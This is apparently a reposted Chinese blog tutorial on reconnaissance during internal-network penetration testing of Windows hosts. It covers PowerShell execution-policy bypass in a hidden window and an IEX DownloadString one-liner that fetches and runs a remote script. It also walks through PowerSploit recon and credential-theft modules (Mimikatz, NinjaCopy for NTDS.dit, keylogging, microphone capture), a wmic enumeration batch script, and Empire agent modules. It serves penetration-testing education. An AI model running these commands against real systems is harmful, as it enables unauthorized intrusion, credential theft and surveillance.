渗透测试内网渗透之信息收集(二)

  • A+
所属分类:安全文章

0x01 前言


在内网渗透中,前期的信息收集是必不可少,获取主机的关键信息,往往会对后边的渗透做下很好的铺垫。上一篇记录相关的命令和信息收集的点,这一篇介绍一下在windows下信息收集时用的自动化脚本。


0x02 windows下的脚本执行


一般powershell都有默认的保护机制,无法直接执行ps文件,需要使用其他方法。


四种执行权限:

  • Restricted——默认的设置, 不允许任何script运行

  • AllSigned——只能运行经过数字证书签名的script

  • RemoteSigned——运行本地的script不需要数字签名,但是运行从网络上下载的script就必须要有数字签名

  • Unrestricted——允许所有的script运行

默认是禁止脚本执行的,使用Get-ExecutionPolicy进行查看,使用Set-ExecutionPolicy命令修改。


如果想要绕过默认的策略可用以下方法:


本地权限绕过执行PowerShell-ExecutionPolicyBypass-Filexxx.ps1本地隐藏权限绕过执行PowerShell.exe-ExecutionPolicyBypass-NoLogo-NonInteractive-NoProfile-WindowStyleHidden(隐藏窗口)-Filexxx.ps1IEX下载远程脚本绕过执行IEX(New-ObjectNet.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)


常用参数:

  • -ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略

  • -WindowStyle Hidden(-W Hidden):隐藏窗口

  • -NonInteractive(-NonI):非交互模式,不为用户提供交互式提示

  • NoProfile(-Nop):不加载当前用户配置文件

  • -noexit:执行后不退出shell,使用键盘记录脚本非常重要

  • -NoLogo:启动是不显示版权标致


0x03 PowerSploit


PowerSploit是一个在windows下的powershell脚本集,里面包含了信息收集,权限提升,权限维持等多种功能,这里主要介绍他的信息侦查模块recon和信息收集模块exfiltration

下载地址:

https://github.com/PowerShellMafia/PowerSploit


PowerSploit-recon

Recon-Get-ComputerDetails 通过日志获取信息

这个脚本用于从计算机中获取有用的信息。


主要获取信息如下:

  • 显式凭证登录(事件ID 4648)

  • 登录事件(事件ID 4624)

  • AppLocker日志,查找创建的进程

  • 使用PowerShell日志来查找已经执行的PowerShell脚本

  • RDP客户端保存服务器,这表明用户通常RDP在哪些服务器

本地加载该脚本,由于脚本并不是完整代码,只是定义了函数,所以需要载入。

1、.+空格+.Get-ComputerDetails.ps1

2、import-Module .Get-ComputerDetails.ps1


远程加载

IEX(New-ObjectNet.WebClient).DownloadString(“http://127.0.0.1/Get-ComputerDetails.ps1”)


渗透测试内网渗透之信息收集(二)

执行结果如下:

渗透测试内网渗透之信息收集(二)

这个脚本一些值的获取需要管理员权限,其次因为有些内容可能查不到所以会报错,


脚本主要用了以下几个命令:

Get-eventlog:获取本地计算机或远程计算机上事件日志或事件日志列表中的事件。

Get-WinEvent:从本地和远程计算机上的事件日志和事件跟踪日志文件中获取事件。

Get-ChildItem:获取一个或多个指定位置中的项和子项。位置可以是文件系统目录、注册中心或证书存储区。

渗透测试内网渗透之信息收集(二)

本文由“壹伴编辑器”提供技术支持


Recon-Get-httpstatus 探测web目录

这个脚本主要用于探测web目录

渗透测试内网渗透之信息收集(二)

同时在dictionaries目录里也提供了几个字典文件

渗透测试内网渗透之信息收集(二)

示例:

C:PSGet-HttpStatus -Target www.example.com -Path c:dictionary.txt | Select-Object {where StatusCode -eq 20*}
C:PS> Get-HttpStatus -Target www.example.com -Path c:dictionary.txt -UseSSL

本文由“壹伴编辑器”提供技术支持


Recon-Invoke-Portscan 端口扫描

渗透测试内网渗透之信息收集(二)

相关参数有很多,建议阅读说明文档

Invoke-Portscan -Hosts 192.168.1.1/24 -T 4 -TopPorts 50

速度还是可以的

渗透测试内网渗透之信息收集(二)

在使用这种有向外连接脚本的时候会触发火绒的联网控制,默认会阻止,下面是手动允许了。

渗透测试内网渗透之信息收集(二)

本文由“壹伴编辑器”提供技术支持



Recon-Invoke-ReverseDnsLookup DNS侦查

反向DNS查询,扫描DNS PTR记录的IP地址范围。此脚本用于在进行授权渗透测试之前执行DNS侦察

渗透测试内网渗透之信息收集(二)

运行结果如下,可以查找到主机名。

渗透测试内网渗透之信息收集(二)

本文由“壹伴编辑器”提供技术支持


Recon-powerview

powerView.ps1是一款依赖powershell和wmi对内网进行查询的常用渗透测试脚本

里面包含很多在域环境下信息收集的函数,详细函数作用及调用脚本

详情可以参考文档里面的readme文件


这里列举几个看着有点用函数:

Get-CachedRDPConnection——查询目标主机上保存的所有RDP连接项

渗透测试内网渗透之信息收集(二)

Get-LastLoggedOn—返回目标主机的最后一个登录用户

渗透测试内网渗透之信息收集(二)

关于域环境下相关的函数

渗透测试内网渗透之信息收集(二)

当具体遇到哪个函数了,可以具体再去获取相关信息

渗透测试内网渗透之信息收集(二)

本文由“壹伴编辑器”提供技术支持


powersploit-exfiltration

直接导入目录,Import-Module ./Exfiltration

渗透测试内网渗透之信息收集(二)

发现其中三个文件被火绒直接报毒杀掉

渗透测试内网渗透之信息收集(二)

一个是抓密码的mimikatz,

一个是ninjacopy(通过读取原始卷并解析NTFS结构,从NTFS分区卷复制文件。这绕过了文件DACL、读句柄锁和SACL锁。必须是管理员才能运行该脚本。
这可以用来读取通常被锁定的系统文件,比如NTDS.dit文件或注册表hives。)
另外一个是Invoke-CredentialInjection(这个脚本允许攻击者使用明文凭据创建登录,而不会触发ID 4648的可疑事件(显式凭据登录)

exfiltration-Get-GPPAutologn

在域控制器中搜索以查找autologon信息并返回用户名和密码。


exfiltration-Get-GPPPassword

在域控制器中搜索groups.xml, scheduledtasks.xml, services.xml和datasource .xml文件内容并返回明文密码。


exfiltration-Get-Keystrokes

键盘记录并输出

发现捕获不到键盘记录,原因未知


exfiltration-Get-MicrophoneAudio

利用Windows API从winmm.dll记录音频从麦克风和保存波文件到磁盘。


exfiltration-Get-TimedScreenshot

屏幕截图,可指定间隔时间和结束时间


exfiltration-Get-VaultCredential

凭证枚举,web凭据可明文


exfiltration-Invoke-CredentialInjection

登录注入,伪造登录


exfiltration-Invoke-Mimikatz

抓密码hash


exfiltration-Invoke-NinjaCopy

超级复制,用管理员启动后可以复制受保护的运行中的系统文件


exfiltration-Invoke-TokenManipulation

可以枚举可用的登录令牌,并使用它们创建新进程。这允许您使用

另一个用户通过使用他们的登录令牌创建一个进程来通过网络进行认证。


exfiltration-Out-Minidump

将包含所有进程内存的进程转储文件写入磁盘。emm看似进程转储


exfiltration-VolumeShadowCopy

包含下面几个函数

Get-VolumeShadowCopy
New-VolumeShadowCopy
Mount-VolumeShadowCopy
Remove-VolumeShadowCopy

提供系统卷影拷贝删除等功能



0x04 自动化脚本


前面也介绍了相关wmic在信息收集时的相关命令,而wmic脚本仅仅就是将之前的命令整合起来做一个输出,可以根据自己的需求自己定制。


下面是网上的wmic bat脚本,复制黏贴到文件,保存成bat格式就能用。

简单解释一下

在批处理文件中的for循环

for %%I in (command1) do command2/f //读取文件中的内容"delims=" //delims 用来告诉for每一行应该拿什么作为分隔符,默认的分隔符是空格和tab键
for /f "delims=" %%A in ('dir /s /b %WINDIR%system32*htable.xsl'do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.htmlwmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.htmlwmic USERACCOUNT list full /format:"%var%" >> out.htmlwmic group list full /format:"%var%" >> out.htmlwmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.htmlwmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.htmlwmic netuse list full /format:"%var%" >> out.htmlwmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.htmlwmic startup get Caption,Command,Location,User /format:"%var%" >> out.htmlwmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.htmlwmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.htmlwmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html

执行后如下图:

渗透测试内网渗透之信息收集(二)



0x05 Empire


我们在获取一个shell以后,就可以使用empire中powershell的脚本,脚本有很多,这里还是只介绍一下有关信息收集的脚本使用


连接上后如下:

渗透测试内网渗透之信息收集(二)

没连上前还有302个模块可用,连上后只有221个可以使用了。


大类分为 :

codeexecution(代码执行)、collection(采集)、credentials(凭据)、exfiltration(渗出)、lateralmovement(横向移动)、management(管理)、persistence(维持)、privesc(权限提升)、recon(侦查)、situational_awareness(态势感知)、troll sploit(分裂)

本文由“壹伴编辑器”提供技术支持

这上面大部分都是机译,后期会有专门的对后渗透所用的工具进行介绍,这里只做简单介绍。

使用situational_awareness模块,可以看到有以下部分,根据命名几乎都能判别其作用。

渗透测试内网渗透之信息收集(二)

我们随便找一个端口扫描的进去看一下

渗透测试内网渗透之信息收集(二)

发现其使用了powersploit相关模块,毕竟这款工具就是基于powershell进行开发的。

尝试使用以下arpscan模块,看一下需要什么参数,简单设置一下范围,直接使用execute执行

渗透测试内网渗透之信息收集(二)

渗透测试内网渗透之信息收集(二)

再试一下屏幕截屏,直接在agents下敲sc命令,会直接调用powershell/collection/screenshot模块,最后会存放于

/root/.local/powershell-empire/downloads/E8721H6C下,另外下面也会存在命令执行记录的一个log文件。


还有许多模块还没有尝试,后期会在工具篇中详细说明。另外,渗透真好玩。


声明


本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!


谢谢关注↓↓↓

渗透测试内网渗透之信息收集(二)

V安全资讯-为网络安全保驾护航

本文始发于微信公众号(V安全资讯):渗透测试内网渗透之信息收集(二)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: